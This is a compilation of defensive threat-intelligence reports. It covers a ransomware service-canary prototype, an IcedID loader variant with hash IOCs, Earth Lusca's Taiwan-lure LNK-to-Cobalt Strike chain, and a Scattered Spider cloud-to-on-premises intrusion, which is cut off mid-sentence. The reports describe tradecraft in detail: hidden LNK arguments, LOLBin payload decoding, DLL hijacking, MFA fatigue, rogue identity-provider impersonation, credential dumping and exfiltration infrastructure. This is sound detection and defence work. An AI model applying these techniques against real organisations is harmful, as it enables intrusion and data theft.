Interpreter: PowerShell | T1059:001 | PowerShell based tools PowerView and SessionGopher were executed across the estate for reconnaissance and credential harvesting. | | Persistence | Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder | T1547.001 | A run key for the local administrator was created to execute the malicious backdoor. | | Credential Access | Credentials from Password Stores: Credentials from Web Browsers | T1555:003 | The NirSoft tool WebBrowserPassView.exe was also identified as being executed by the attacker. | | Collection | Input Capture: Keylogging | T1056:001 | ShadowPad instances had a Keylogger module installed. | This document provides a comprehensive overview of the ShadowPad intrusion, detailing the tactics, techniques, and procedures employed by the threat actor.
# Deception Engineering: Exploring the Use of Windows Service Canaries Against Ransomware **tl;dr** We prototyped a Windows Service Canary to target parts of the ransomware kill chain to minimize impact and overall success of operations. Multiple instances are installed masquerading as common Windows services that are targeted by threat actors prior to encryption. If multiple instances of these services are stopped, a Canary token is triggered and the host hibernated. In doing so, we are able to alert, minimize the impact, and give the best possible chance of recovery. ## Background – Ryuk’s TTPs Ryuk is a well-known and active ransomware first discovered in 2018 and covered by CrowdStrike (January 2019), Carbon Black Threat Analysis Unit (February 2020), and Abdallah Elshinbary (May 2020). These write-ups detail certain tradecraft used in Ryuk deployments around service and process termination prior to encryption via kill.bat. The list of Windows services and processes killed via kill.bat is extensive, with Abdallah Elshinbary providing a comprehensive list of both. ## Thesis Given that a number of services are stopped prior to encryption, there exists the opportunity not only for detection but also impact minimization. The thesis is we can deploy a number of Canary Windows Services which keep track of how many are running. If these Windows services are stopped (via net stop, sc, or similar) not during a host shutdown, we are then able to respond automatically. This automated response involves firstly triggering a canary token and then hibernating the host. By doing so we: - Alert the defensive function with a high-signal alert. - Minimize the impact via likelihood of successful encryption. - Give the best chance of recovery. ## Prototype The implementation follows what we describe. It is installed in place of commonly targeted services, and there is a shared counter for the number of running instances which gets decremented when stopped via sc.exe or net.exe. When the total number of running instances drops below two, we then fire a DNS canary token and hibernate the host. ## Canary Token Use We’ve used an extensibility feature of DNS canary tokens to encode arbitrary data effectively, using them as Alerting as a Service. Specifically, the host name which is hibernating is encoded into the DNS canary token. This means we know not only did it fire but also which host. This obviously becomes useful when running on a large number of hosts. ## Real World Efficacy In short, it is today unknown, but we hope others will take the concept, experiment, and share real-world efficacy data back with the community. Some initial response has been that a commoditized product which does this will likely not work for any significant period of time, which seems rational: in a conversation today with The Record, MalwareHunterTeam, a security researcher who has tracked and analyzed hundreds of ransomware strains across the years, said that ransomware gangs are also likely to deploy countermeasures for Killed Process Canary if the tool ever becomes a hindrance to their operations. However, the real answer is we don’t know how effective it will or won’t be today. What is clear, however, is there is an opportunity to make the operating environment for threat actors significantly more hostile than it is today. ## The Code [GitHub Repository](https://github.com/nccgroup/KilledProcessCanary) ## Thanks and Feedback Thanks to Harry for the discussions which led to the prototype. Feedback welcome via pull requests, e-mail (ollie dot whitehouse at nccgroup dot com) or @ollieatnccgroup on Twitter.
# Threat updates – A new IcedID GZipLoader variant **February 25, 2022** **Author:** Markel Picado and Carlos Rubio from Threatray Labs **Published on:** 25.02.2022 ## Summary IcedID is a modular banking Trojan discovered in 2017. It is one of the most prevalent malware families in recent years, targeting financial information and acting as a dropper for other malware families, such as Vatet, Egregor, and REvil. GZipLoader is the loader component of the IcedID infection chain. Its purpose is to download and execute the final encrypted payload from the control panel. The encrypted payload mimics a GZIP file, which is why it is called GZipLoader. While monitoring our incoming malware feeds, we have detected a new version of the IcedID GZipLoader component which has been distributed since the beginning of February. This version introduces new anti-analysis techniques, whereas it is functionally equivalent to previous versions, except for the removal of the SSL-pinning feature. The anti-analysis techniques that have been introduced are the dynamic resolution of Windows API functions and string encryption. ## Discovery and timeline The new loader version came to our attention while monitoring our incoming malware feeds. Threatray classifies malware families using search algorithms based on code reuse analysis. We have seen that the confidence of our classification algorithms for IcedID has dropped from high confidence (“red”) to medium confidence (“orange”). This was the trigger for further investigations. Looking for samples contacting a known IcedID URL, we analyzed the sample `e1e9e84e84a24abaa8658d871515d32e21ed51f1c54812315155f4c88bbc8722eecbfbd` and found that the virtual memory region `0x4b0000` of the `regsvr32` process contains 9 functions related to the IcedID GZipLoader component. Using our retrohunting capabilities, we have searched through our platform for samples that contain a similar loader. The earliest sample in our feeds with this new loader is from February 9th, 2022. ## Detailed analysis The new version of the loader resolves imports dynamically, whereas the old version does not. The second functionality added to the new loader is string encryption. Strings are hidden using a technique commonly known as stacked strings, which is combined with simple XOR encryption. The following code is in charge of decrypting the strings using XOR operations: A Python version of the decryption function for POST requests is as follows: The same string decryption method is used throughout the binary. The string encryption code is in-lined (as opposed to taking place in a dedicated function). This new code changes the control flow graph of all functions that reference strings. This could break some detection rules based on pattern recognition such as YARA rules. We thus recommend double-checking your detection rules for IcedID. ## Retired features We have also realized that in this new version, the SSL-pinning feature has been removed. To summarize, IcedID sets a callback when it sends data to a legitimate server (mostly to `aws.amazon.com`) and verifies the checksum of the public key from the server’s certificate. In the old variant, when the `set_bot_information()` function is called, the result of `SSL_pinning_feature()` is passed as an argument. However, in this new variant (since the feature has been removed), the value passed to `set_bot_information()` is hardcoded to 1. Searching in our telemetry for IcedID samples, we see that the most prevalent URL among all IcedID samples was `aws.amazon.com`, due to the SSL pinning feature. However, if we limit the search scope to the last 2 weeks, we can confirm that the `aws.amazon.com` URL is no longer used. Another less important change that occurs in this version is that the function responsible for decrypting the command and control has disappeared. In this new version, the code of this function is in-lined in the main function. ## IOCs - 02e58a9e73e314497356a4d420f83584ccb85d49edce98a36f9e738b85ca637f - 03a41a586c17dd1bd79aa20dfa9a0b1e11d8b0acc21d687bfc3953baf8907a86 - 03c12545f5dd6cb2a36fcc6da5184cda9259d71f2d12f537cb916a7029654330 - 05e15f807b0e89e6af4c42a38ca8100ce0064f63530abad455334b31a2a69c88 - 05e4a3ef8a29fd09f10e500acf62d628b77b2719b5664a011e66811af6509a69 - 0990cb15328b1784aa0338e5f21eaf771b2ec1a6b0ac16d30d94c30e33741312 - 09edd4cda6f4dc5bb313570bf5c206b3691f4453d15bf742460cec8c0d4aff7d - 0d8041601a71723fd9a41e1350cb8baabd9a690a26f12723bccc8a91b461245a - 0f5fbad82dae02e2a48775762f8ff0eb067eb4f81ce637607ac893d4e0c613b3 - 10a841e167daefdba33ce9fd8e5f3b0c2a30c1e3c37f034c0bffdbaf97a5db5f - 134774292f7745f4b91b833735e03c6b8e21197606511b5b1bde965e9cb3f515 - 15f8da5acf0b2b3e7334ef9d15e290758fcc918930ca8be801acc7682868b91b - 18cc18377e2fef33c4ac8f700a15889def8d7965149033c9cf80d7499e966942 - 18f8c27d91db287a18034e39a2df2e4e3ec9755d4067809b37580859c6a8acd6 - 1c5467229ec9eadb6c9cdd09d4f69cdbb31906605af609e44505383660ba2f31 - 1c86607f8145c0c20c4b6345223a8ba0a8f7c31f0e6f952d5baa80ff776b676d - 1d371ef854dac871c335d8ad1ba2f3d7916fc449e6383eec9196c117930c4d98 - 1fa43e3a239c517b2af4fbf9cd176b7ef8282d82f6f555917fefc64e4c9cde30 - 204bcb9f2278761c541c5be310382f02e21a7b83d6944fb619abec110063dc66 - 205e180196d948fe19ba8ca04d244f505b667af92e8e85ee05caf61c39e38510 - 23bd947bcd5946b8b7c985562b6c866b3f573f26929726ec2b24a793d9245639 - 24a6327b7913db912a1c22fdacc0c7148a03c1aa04ee8e67c5c2f63f894d9fef - 255fedca93d25a470f2b59ac374249bf3f8f5325815a7e82a5c2a63cc08f76d4 - 2c4ebb47841760e94ae3f6f26e9ffe4cc7e933d618b0721e6dce5da6f4595122 - 2d48d620321ed65bca7f16330d30d8658d8046cedc89c9135c2dfee88316267f - 2d7c3f733948bd01e428e517b84eacd96e816ad3d181db27c13246a22dcc03b4 - 2dc18df6aa58c8646823c532debd0522e0cda5bb113b02caebadb4489ba48ce4 - 2ebeebe48a1bc8541fa769187fef1214b5855e8979cd902b21b792c57cbd808b - 31597d65343eb5ca523fa81dbe4331d577d5d819f60f3aec071b2fb7eb9d01e4 - 31a5ee81cc3206f30e6bc62e84ec89e9aa35e44b52baacc8955aa68baa0a093e - 3215a0502c123bd08d9374e2508d79adabcb36e3a3f5d7cd87a97d616ff9c601 - 33270eab7adb83b72240a9546d6d310cbc692d4ef102b7136042165b1d95a91a - 3388b2781e84a2fdb1d37e5ee1371af605fee7b70e16bd7b57ed8025db2447b4 - 358679a5aa1ce479cc20c624d3fefe26170b3ad052ed9aa8111bf3047c755ee2 - 368be300f148a956b017cedac10721e64f8030499ea3411db6519a8eeb68d43c - 374c7619257b545ac83cf1870f50f38066c5ded225c780af28cb8bd8c8c80070 - 39b49f2c3d6cfe9c1064086116abe323d1eb59ab852099dbf9efaca81f662c5b - 3adc2160c304c344f6c1efcba1b759af3cc87b85376535b088adb15562aa0254 - 3c4b375de8b20a9036c3ac9139855f312bbcbe8b3e869b36ebfbf2533422a06e - 3d1ec1f66ba4a30aac55590ff3d120ae22e345685caa916f9d1c74592c98f0c3 - 3e3c5d318ed1a4dd83cf0dc9279d82b5dffa7181f2b650d24c61b1a008d6d0f2 - 3ee0dd7a2c2d122790e560a535c4a3cc8a11da78df15cd5d4da461797d1e48bf - 407baf0c60024ff01e4d2128264064eea5099c33efa6688362ff38e0ee97fbe2 - 40aa95077ab694181272d48457920b6ca587c9b0752d8752940840e620039793 - 4528ee62b7c2b479c32b2b401dc875bca1d7125f2206b083d7c3595fd827f839 - 4aaf857e59a25f98e133aa59bac419b22a60ecc4dcade883bf217ce76c25bf84 - 4c40fa74b961f90a67d2780412891c49f0a2919b3e90a216daa5f5b12187e219 - 4d0aaf50b254b52e403a2d613d1aa8ab4b1406f7658db03710cc75752e9c6e01 - 4f6cea3ce429ccdccee1a4e014cebcfa971e8a2ca8332a68239a7940d7224818 - 50165bf93643c3ee448eb480217442f19567918b7ea98722bb404e7fea558a2b - 515ac55d2575077dfc2f50273fd5e52652d17ab6fcd7bb7b23ce2dfbb3685414 - 53ea999f28add82bb8d70aa9e030893521bf57a08a9564ee7380562142734fd5 - 54d334b0b1a89677c22dc5490780f3c3724f9b4d6113eca073a241c8921b5977 - 55a33e1bb55138d85d229f434fcea0b0b147a98e4beb3ce1860b00e8137467d6 - 5753cb2ece6bc64d950641a48a3c38335c8dd738e7a30f50ae8fad4e09d55914 ## About Threatray Threatray is a novel malware analysis and intelligence platform. We support all key malware defense use cases, including identification, detection, hunting, response, and analysis. Threatray helps security teams of all skill levels to effectively identify and analyze ongoing and past compromises. At the core of Threatray are highly scalable code similarity search algorithms that find code reuse between a new and millions of known samples in seconds. Our core search algorithms do not make use of traditional byte pattern matches and are thus highly resilient to code mutations. Our user-facing features are based on the core search technology. They include best-in-class threat family identification and detection, easy-to-use real-time retro-hunting and retro-detection, cluster analysis to quickly find relevant IOCs, and low-level multi-binary analysis capabilities. Some of our binary analysis capabilities have been used for the research presented in this report.
# APT & Targeted Attacks ## Earth Lusca Uses Geopolitical Lure to Target Taiwan Before Elections During our monitoring of Earth Lusca, we noticed a new campaign that used Chinese-Taiwanese relations as a social engineering lure to infect selected targets. **By:** Cedric Pernet, Jaromir Horejsi **February 26, 2024** **Read time:** 7 min (1993 words) ### Introduction Trend Micro previously published a number of entries discussing the operations of a China-linked threat actor we track as Earth Lusca. The group, which has been active since at least 2020 and has regularly changed its modus operandi, has been known to launch several different campaigns at the same time. During our monitoring of this threat actor, we noticed a new campaign that used Chinese-Taiwanese relations as a social engineering lure to infect selected targets. We attribute this campaign to Earth Lusca with high confidence based on the tools, techniques, and procedures (TTPs) we observed in previous research. The attack campaign discussed in this report has likely been active between December 2023 and January 2024, with a file that contained a lure document discussing Chinese-Taiwanese geopolitical issues. This file was created just two days before the Taiwanese national elections and the document seems to be a legitimate document stolen from a geopolitical expert from Taiwan. Note that a recent leak of private documents provides a new attribution path to a Chinese company called I-Soon. We discuss these connections in a separate section in this entry. There is significant overlap between the victims, malware used, and probable location of Earth Lusca and I-Soon. This suggests, at the very least, a significant connection between these groups. Our research is continuing at this time. ### Earth Lusca Attack Chain #### Initial Access via Spear Phishing Although we were not able to determine the initial method Earth Lusca used to deliver infection files to its targets, we found the initial infection file, an archive (.7z) named `China_s_gray_zone_warfare_against_Taiwan.7z`. Based on the threat actor’s previous activities, we suspect this file was sent to the targets via email, either embedded as an attachment or as a link. The archive consists of a folder named “China’s gray zone warfare against Taiwan” that contains two different Windows shortcut files (.LNK) and a subfolder named “__MACOS”. The `__MACOS` subfolder name resembles the legitimate `__MACOSX` folder name created by macOS, which is hidden by default and is used to store each folder’s various settings. In the case we analyzed, the `__MACOS` folder does not contain any metadata but instead hides another stage of the malicious payload. The `__MACOS` subfolder contains two files named “_params.cat.js” and “_params2.cat.js”. All the files show metadata indicating that the files were last modified on Jan. 11, 2024. #### First Stage: Shortcut (LNK) File with Hidden Target Attribute The LNK files, once selected, execute the JavaScript code stored in the `__MACOS` folder. If users attempt to right-click on the malicious LNK file and display its “target” parameter, they are presented only with an `explorer.exe` file name followed by space characters. The threat actor inserted 255 space characters in the “arguments” attribute before including the actual path to the malicious script to ensure that users don’t notice anything is amiss. Tools such as LNK parser reveal the entire content of the “arguments” field. #### Second Stage: Obfuscated JavaScript File The second stage is obfuscated with Dean Edward’s JavaScript Packer, a tool designed to obfuscate JavaScript code to hinder analysis and detections. #### Third Stage: Deobfuscated JavaScript File and Dropper The third stage drops a text file containing hexadecimal data to the `%APPDATA%\Roaming` directory. This text file contains a magic signature, `4d534346`, which is the Microsoft Cabinet File (MSCF) signature of a cabinet archive. The JavaScript then uses a living-off-the-land technique and calls a few LO LBins to decode a hexadecimal string to the binary file (certutil.exe) and unpack the cabinet archive (expand.exe). The extracted cabinet archive contains a decoy file, a signed legitimate executable file, and a malicious DLL library. In the cases we observed, we found the decoy files to be either Microsoft Word documents, Microsoft PowerPoint documents, or PDF documents. Although these were written by professionals involved in political relations between China and Taiwan, we could not find any of these documents online. We suspect with moderate to high confidence that these documents were stolen from these authors or their employers. We have reached out to these individuals and organizations and warned them about the possible compromise of their systems. The signed legitimate executable file, `360se.exe` from Qihoo 360, was renamed to `pfexec.exe` by Earth Lusca in a case of DLL hijacking. Once executed, it launches the DLL contained in the same folder (`chrome_elf.dll`). #### Fourth Stage: Cobalt Strike Stageless Client (Malicious Obfuscated DLL Library) The last stage of the infection chain is a stageless Cobalt Strike payload. The noteworthy parameters extracted from the embedded configuration are listed here: - C2Server: upserver.updateservice.store,/common.html - HttpPostUri: /r-arrow - Watermark: 100000000 ### Similar Attacks During the monitoring of this campaign, we received more archives using similar structures and employing comparable tricks but having different file names, decoy names, and command-and-control (C&C) servers, among others. One such noteworthy file, another 7z archive file named “ppt-cih1w4.7z”, contained a folder named “Sino-Africa_relations”. The folder also contained an LNK file and a `__MACOS` folder with payload, this time timestamped Dec. 22, 2023. Similar to the previously analyzed archive, several stages lead to this last stage (namely Cobalt Strike), only with different configurations. The C&C server name abuses the name of the cybersecurity company Cybereason. The malleable profile is also different this time and uses different URLs, although the watermark remains the same. - C2Server: www.cybereason.xyz,/mobile-android - HttpPostUri: /RELEASE_NOTES - Watermark: 100000000 ### Attack Started Shortly Before 2024 As mentioned in the introduction, the campaign exposed in this report was likely active between December 2023 and January 2024, with the lure document created just two days before the Taiwanese national elections. The C&C domain used by Earth Lusca (updateservice[.]store) was registered anonymously on Dec. 12, 2023, and a subdomain was used for C&C communications (upserver.updateservice[.]store). Meanwhile, the other C&C domain used in this attack campaign (Cybereason[.]xyz) was registered anonymously on Oct. 27, 2023. Both C&C servers are unavailable as of this writing. We also found evidence that Earth Lusca targeted a Taiwan-based private academic think tank dedicated to the study of international political and economic situations. While we could not find other campaign targets at the time of writing, we suspect Earth Lusca might be planning to attack more politically related entities. ### The I-Soon Lead A recent leak on GitHub exposed sizeable data on a Chinese company called I-Soon that has seemingly been active since 2016. The company describes itself on its website as an “APT Defense and Research Laboratory” and provides descriptions of its services: offensive and defensive security, antifraud solutions, blockchain forensics solutions, security products, and more. The group also notes several law enforcement and government entities with which it collaborates. As an interesting aside, I-Soon had been the recipient of a few rounds of funding since 2017. One of its investors was the antivirus company Qihoo from China — which, as stated earlier, had an executable file abused for DLL hijacking. We found a few indicators in the I-Soon leak that made us believe that some of the Earth Lusca activities are similar to the contents of the leak: 1. There is some victim overlap between Earth Lusca and I-Soon: Some of the names on the victim lists of the I-Soon leak were also victims of Earth Lusca’s attacks. 2. The malware and tools arsenal used by I-Soon and Earth Lusca has a few strong overlaps. Malware such as Shadow Pad, Winnti, and a few other tools have been used extensively by Earth Lusca and are used by I-Soon as well. 3. We also discovered a location overlap between the two. In a blog entry in September 2023, we mentioned that Earth Lusca’s source IP addresses are from Chengdu, Sichuan province, where the main office of I-Soon’s penetration teams is also located. ### Conclusion Earth Lusca remains an active threat actor that counts cyberespionage among its primary motivations. Organizations must remain vigilant against APT groups employing sophisticated TTPs. In particular, government organizations face potential harm that could affect not only national and economic security but also international relations if malicious actors were to succeed in stealing classified information. Meanwhile, businesses that fall prey to cyberespionage attacks might face a decline in customer trust and operational disruptions that in turn lead to financial repercussions. Given Earth Lusca's penchant for using email, resorting to social engineering as one of its main avenues of infection, and capitalizing on relevant social and political issues as seen in this campaign, we advise individuals and organizations to adhere to security best practices, such as avoiding clicking on suspicious email and website links and updating software in a timely manner to minimize the chances of falling victim to an Earth Lusca attack. ### MITRE ATT&CK Techniques Below listed techniques are a subset of MITRE ATT&CK list: | Tactic | Technique | ID | Description | |----------------------|-----------------------------------|-------------------|-----------------------------------------------------------------------------| | Initial Access | Phishing: Spear-phishing Link | T1566.002 | Used to send spear-phishing emails with a malicious attachment in an attempt to gain access to victim systems. | | Execution | Command and Scripting Interpreter: Windows Command Shell | T1059.003 | Used to execute various commands and payloads. | | Execution | Command and Scripting Interpreter: JavaScript | T1059.007 | Used to execute various commands and payloads. | | Execution | User Execution: Malicious Link | T1204.001 | An adversary may rely upon a user clicking a malicious link in order to gain execution. | | Execution | User Execution: Malicious File | T1204.002 | An adversary may rely upon a user opening a malicious file in order to gain execution. | | Defense Evasion | Deobfuscate/Decode Files or Information | T1140 | Used to hide artifacts of an intrusion from analysis. | | Defense Evasion | Hide Artifacts: Hidden Files and Directories | T1564.001 | Used to hide files and directories to evade detection mechanisms. | | Defense Evasion | Hijack Execution Flow: DLL Search Order Hijacking | T1574.001 | Used to execute their own malicious payloads by hijacking the search order used to load DLLs. | | Defense Evasion | Indirect Command Execution | T1202 | Used to abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters. | | Defense Evasion | Masquerading: Double File Extension | T1036.007 | Used to masquerade the true file type. | | Defense Evasion | Obfuscated Files or Information: Software Packing | T1027.002 | Used to conceal their code. | | Defense Evasion | Obfuscated Files or Information: Embedded Payloads | T1027.009 | Used to conceal malicious content from defenses. | | Defense Evasion | Obfuscated Files or Information: LNK Icon Smuggling | T1027.012 | Used to hide them within otherwise seemingly benign Windows shortcut files. | | Discovery | File and Directory Discovery | T1083 | Adversaries may enumerate files and directories. | | Command and Control | Data Encoding | T1132 | Adversaries may encode data to make the content of command and control traffic more difficult to detect. | | Command and Control | Data Obfuscation | T1001 | Adversaries may obfuscate command and control traffic to make it more difficult to detect. | | Command and Control | Encrypted Channel | T1573 | Adversaries may employ a known encryption algorithm to conceal command and control traffic. | | Exfiltration | Exfiltration Over C2 Channel | T1041 | Adversaries may exfiltrate data over an existing command and control channel. | The final payload, Cobalt Strike, might use additional techniques listed on the MITRE website. ### Indicators of Compromise (IOCs) The indicators of compromise for this entry can be found here. We’d like to thank Trend's Ian Keneck and Cyris Tseng for additional intelligence. **Tags:** APT & Targeted Attacks | Malware | Endpoints | Research | Articles, News, Reports **Authors:** Cedric Pernet Sr. Threat Researcher Jaromir Horejsi Threat Researcher
# Threat Spotlight Report: Scattered Spider Attack Analysis ## Key Points - ReliaQuest recently observed an abuse of access to a customer’s internal IT documentation, and a lateral move from the customer’s identity-as-a-service (IDaaS) provider to their on-premises assets in less than one hour. We determined, with high confidence, that the highly capable “Scattered Spider” cybercrime group perpetrated the attack. - Scattered Spider, an “ALPHV”/“BlackCat” ransomware affiliate, infiltrates cloud and on-premises environments via social engineering. The recent compromise revealed remarkable sophistication when infiltrating cloud services and speed in pivoting to the on-premises environment: evidence that the group is extremely knowledgeable about how to abuse common enterprise applications. - Scattered Spider and similar malicious actors will continue to pose a high threat to entities in various sectors and regions. Mitigation recommendations include MFA fatigue rules, help-desk challenge-response policies, and privileged identity management. In early September, an automated retroactive indicator of compromise (IoC) threat hunt identified an indicator of compromise (IoC) in the environment of one of our customers. The detected IP address, 144.76.136[.]153, was previously used by the cybercrime group Scattered Spider to perform exfiltration via the domain transfer.sh. Following a thorough investigation, we uncovered additional evidence of intrusion, involving tools previously associated with Scattered Spider, but also techniques, tactics, and procedures (TTPs) that were new to the group. Based on this evidence, our team concluded with high confidence that Scattered Spider was responsible for the attack, which spanned multiple days across cloud and on-premises environments. This report presents our findings from the investigation. ## Scattered Spider Overview Scattered Spider recently emerged as a significant cybercrime group focused on compromising large enterprises. This report highlights the scale and operations of the group, which have spanned various sectors and regions. The group has also demonstrated the ability to abuse resources in compromised environments, discovering additional attack vectors to infiltrate deeper. Scattered Spider’s TTPs are highly significant to the wider threat landscape and ReliaQuest customers, as attacks are being aided by gaps in identification and insufficient help-desk user verification policies. Scattered Spider pivots and targets applications with remarkable precision, using access to internal IT documentation for extremely efficient lateral movement. As other threat actors become more sophisticated and learn from successful patterns, they will be able to exploit similar TTPs. Considering the high threat posed by Scattered Spider and similarly sophisticated/skilled groups—and the potential severe consequences—organizations should take appropriate measures to protect themselves, including those recommended later in this report. ## Attack Path The intrusion began in the customer’s cloud environment, where the group gained access to an IT administrator’s account via Okta single sign-on (SSO). During the investigation, the initial access vector was unclear, but weeks later, the customer reported that the intrusion was attributed to a social-engineering attack, in which the user’s credentials were reset by the attackers. This tactic of social engineering strongly aligns with Scattered Spider’s previous TTPs, which are used to elicit valid account credentials from a target. We are highly confident that the group attained the IT administrator’s credentials that way. With valid account credentials acquired, the group conducted an MFA fatigue attack, attempting four MFA challenges within two minutes. The last challenge resulted in successful authentication, with a “new device sign-in” being observed from IP address 99.25.84[.]9 (Florida, US). This IP address was later published as an IoC in an Okta article that highlighted cross-tenant impersonation. In this case, the group used a US-based IP address not connected to VPN infrastructure. We believe the threat actor exhibited a strong sense of operational security, used to evade typical rules that raise alerts of risky sign-ons or anomalous location sign-ons. In this event, Okta did not flag the sign-on as a suspected threat, even though the Okta enriched security data would denote numerous indicators as anomalous. Once Scattered Spider gained access to the account, the group enrolled a new MFA device. ## File Discovery and Lateral Movement The group used the Okta SSO Dashboard to access Microsoft 365 and Microsoft Azure AD. As the IT administrator’s account accessed Microsoft 365 resources, several file-access events indicated file and directory discovery in the organization’s SharePoint platform. These resources gave the attackers enough information to pivot deeper into the environment, via documents on: - Accessing VDIs - Implementing privileged IAM - Virtualization servers (including asset inventory spreadsheets) - Network architecture diagrams - Password management solutions - Cybersecurity planning and budgeting From here, Scattered Spider authenticated to Citrix Workspace via the IT administrator’s Okta SSO credentials. They were prompted to complete MFA, but the prompt was sent to the newly registered device under the group’s control. After accessing Citrix Workspace, there is evidence that the group conducted additional actions on objective in the on-premises environment. Scattered Spider hijacked active Citrix VDI sessions on the host GenericCitrixAPPServer.CUSTOMER.com to perform Active Directory (AD) discovery. In these sessions, the group downloaded AD Explorer from the Sysinternals website and executed it. Despite our lack of visibility into these VDI hosts, we correlated the download and execution of AD Explorer to session disconnect events on the host GenericCitrixAPPServer.CUSTOMER.com. We identified a concerning series of events originating from the Citrix VDI. The compromised user within the VDI accessed a file located in the organization's AWS S3 bucket, specifically at: customer.s3.us-east-1.amazonaws.com/lastpass_export%20cleaned.xlsx?X-Amz-Security-Token=[REDACTED]. The file, lastpass_export cleaned.xlsx, was then downloaded onto the VDI host. Soon after, we noticed web traffic directed toward lastpass.com. Upon sandboxing the URLs accessed during this time, we discovered that the threat actor had attempted to access the company's LastPass page. Multiple redirects to the same LastPass login page suggested unsuccessful authentication attempts. We also observed traffic directed to lastpass.com/protected.php, a page that denies login and locks the account after it detects compromised credentials. That page allows a user to reset their master password using their associated email address, and we witnessed an eventual successful web request to the page lastpass.com/company/. We are moderately confident that Scattered Spider managed to gain access to the customer's LastPass Vault. Additionally, we observed a range of malicious process execution events on the Citrix VDI, albeit without complete visibility. The following are relevant critical indicators: - We observed numerous application crashes during the adversary's presence on the host (C:\PROGRA~1\dynatrace\oneagent\agent\lib64\oneagentdumpproc.exe -> Werfault.exe). This event likely reflects attempts to deploy a beacon on the host. - Later we found highly suspicious process execution events, such as notepad.exe spawning control.exe, and then notepad spawning mstsc.exe. This potentially indicates process injection into notepad.exe. - Between these events, we observed the use of RDP for lateral movement to additional hosts. We saw explicit logins using the credentials of two compromised service accounts belonging to Microsoft SQL Data Warehouse (MSSSQLDW-Analysis and MSSSQLDW-Reporting). These accounts were revealed as compromised by events later in the intrusion; they were almost certainly the primary accounts that Scattered Spider used to download malicious tools. ## Okta and Azure AD Abuse Shortly thereafter, Scattered Spider shifted focus back to Okta and Azure AD. In Okta, we saw an IT infrastructure architect authenticating and passing MFA from the same malicious IP address (99.25.84[.]9). The IT infrastructure architect also served as the organization’s virtualization engineer and had a highly privileged account. After the authentication, we observed this user checking out CyberArk credentials for the VMWareVCenterSharedCreds folder. This event proved more notable later in the intrusion. At the same time, we saw a second IT Administrator (“IT administrator 2”) authenticating in Okta from the same malicious IP address and targeting the customer’s Okta and Azure AD administrator settings. It remains unclear how the group had valid credentials to this account, but we again observed MFA fatigue attacks, with at least eight MFA attempts sent in bulk. With regard to IT administrator 2, we saw the Okta event system.org.rate_limit.violation for too many challenges in a short timeframe. URL filtering events show evidence of attempts to abuse Okta’s delegated authentication with traffic observed to customer.kerberos.okta.com. Using IT administrator 2’s account, we saw further evidence of access to Okta’s system administration pages: customer-admin.okta.com and oinmanager.okta.com. IT administrator 2 was also seen performing the following suspicious discovery events in Azure AD: - Configuring Azure API access - Making Azure billing changes - Updating Azure Portal settings - Enumerating Azure AD Permission - Performing Azure AD user, group, onPremSync, PIM role, enumeration queries The following day, the IT infrastructure architect was observed configuring Okta with a secondary identity provider (IdP). As a result of the configuration change, we saw the Okta events system.idp.lifecycle.activate and system.idp.lifecycle.update: the exact event that allows cross-tenant Okta impersonation of a privileged user. In effect, this would allow the attacker to authenticate via their external IdP to access the customer’s Okta environment. Such a change would give the attacker the ability to impersonate and use any Okta account through the secondary IdP. The change would also strengthen the group’s persistence in the environment. ## On-Premises Compromise The attackers pivoted back to the on-premises environment with the previously compromised service accounts for Azure SQL Data Warehouse (MSSSQLDW-Analysis and MSSSQLDW-Reporting). Multiple tools were seen ingressed on different hosts within the environment, including: - MobaXterm_Portable_v23.2.zip (lateral movement) - WindowsDefenderATPOffboardingPackage_valid_until_2023-XX-XX.zip (defense evasion) - sysadminanywhere.exe (privilege escalation) - gosecretsdump_win_v0.3.1.exe (credential access) - Forensia.exe (defense evasion) - BleachBit.exe (defense evasion) Scattered Spider was also observed ingressing the same tool on more than one occasion on different hosts. In each instance, the adversary chose to re-download the tools from legitimate websites and default GitHub repositories, where they are normally hosted. To maintain persistence, the group used RMM and reverse proxy solutions; use of Ngrok was shortly followed by a URL request to retrieve Ngrok keys from paste.ee. Sandboxing the webpage, while it was still up, showed Ngrok authentication tokens being hosted. Exfiltration was observed via the IP address 144.76.136[.]153, which was the original IoC picked up by the automated retroactive threat hunt. The exfiltration domain transfer.sh is associated with this IP address. The following are persistence tools that Scattered Spider deployed on various hosts in the customer’s environment: - PDQConnectAgent - ScreenConnect - Fleet.io - rsocx ## CyberArk and vCenter Activity We also observed Scattered Spider performing discovery of vCenter-based documentation within the customer’s SharePoint. This was paired with discovery of CyberArk-based documentation, such as CyberArk_Architecture_Diagrams_v2_0.pdf; the attackers were later seen exploiting CyberArk to check out vCenter-related credentials. The group used CyberArk access for lateral movement, which included SSH access to vCenter hosts, such as CUSTOMERvCenter100. Even with limited visibility, we saw suspicious commands being pushed to vCenter servers that included reverting hosts to their latest snapshot and deleting all snapshots. Shortly thereafter, the adversary deleted some CyberArk files for vCenter-related credentials, seemingly in an attempt to disrupt access to the hosts after earlier actions. ## Outcome Although our analysis reached its conclusion at this point, further reporting by the customer indicates that the attackers successfully accomplished their objectives of data exfiltration and widespread encryption. In summary, we observed the following TTPs in connection with Scattered Spider: social engineering of help-desk employees, IDaaS cross-tenant impersonation, file enumeration and discovery, abuse of specific enterprise applications, and use of persistence tools. As we concluded our investigation, we determined that several of the TTPs observed had a historical connection to Scattered Spider, leading us to attribute the attack to that group with high confidence. ## Forecast We predict, with high confidence, that attacks from Scattered Spider will persist into the long term (beyond one year). The group’s ongoing activity is a testament to the capabilities of a highly skilled threat actor or group having an intricate understanding of cloud and on-premises environments, enabling them to navigate with sophistication. We recently observed another intrusion that seems to be associated with Scattered Spider. The attacker employed the same social-engineering and file-discovery actions as seen in previous Scattered Spider attacks. Although they were unable to access critical resources, it is evident that as long as Scattered Spider’s preferred initial access vectors remain unmitigated, attacks will continue. Given the consistent threat posed by Scattered Spider and similar malicious actors, organizations should prioritize constant vigilance. By strengthening security protocols, conducting regular assessments, and staying informed about emerging threats, organizations can effectively combat the risk posed by Scattered Spider, mitigating the impact of any attacks and protecting their invaluable assets. ## Recommendations and Best Practices ### Logging and Visibility Considering the potential for compromises to move laterally from the cloud and affect on-premises environments, security teams should centralize logs in a unified location. This enables the deployment of correlation-based detections and facilitates thorough investigations of relevant events. In these complex intrusions, establishing a comprehensive timeline of events is of utmost importance to accurately assess and address security incidents. ### Principle of Least Privilege The customer intrusion underscored the importance of adhering to the principle of least privilege, particularly given the misuse of Okta super administrator credentials. The super administrator role should be restricted as it grants the potential to alter various settings, such as to register an external IdP or deactivate strong authentication 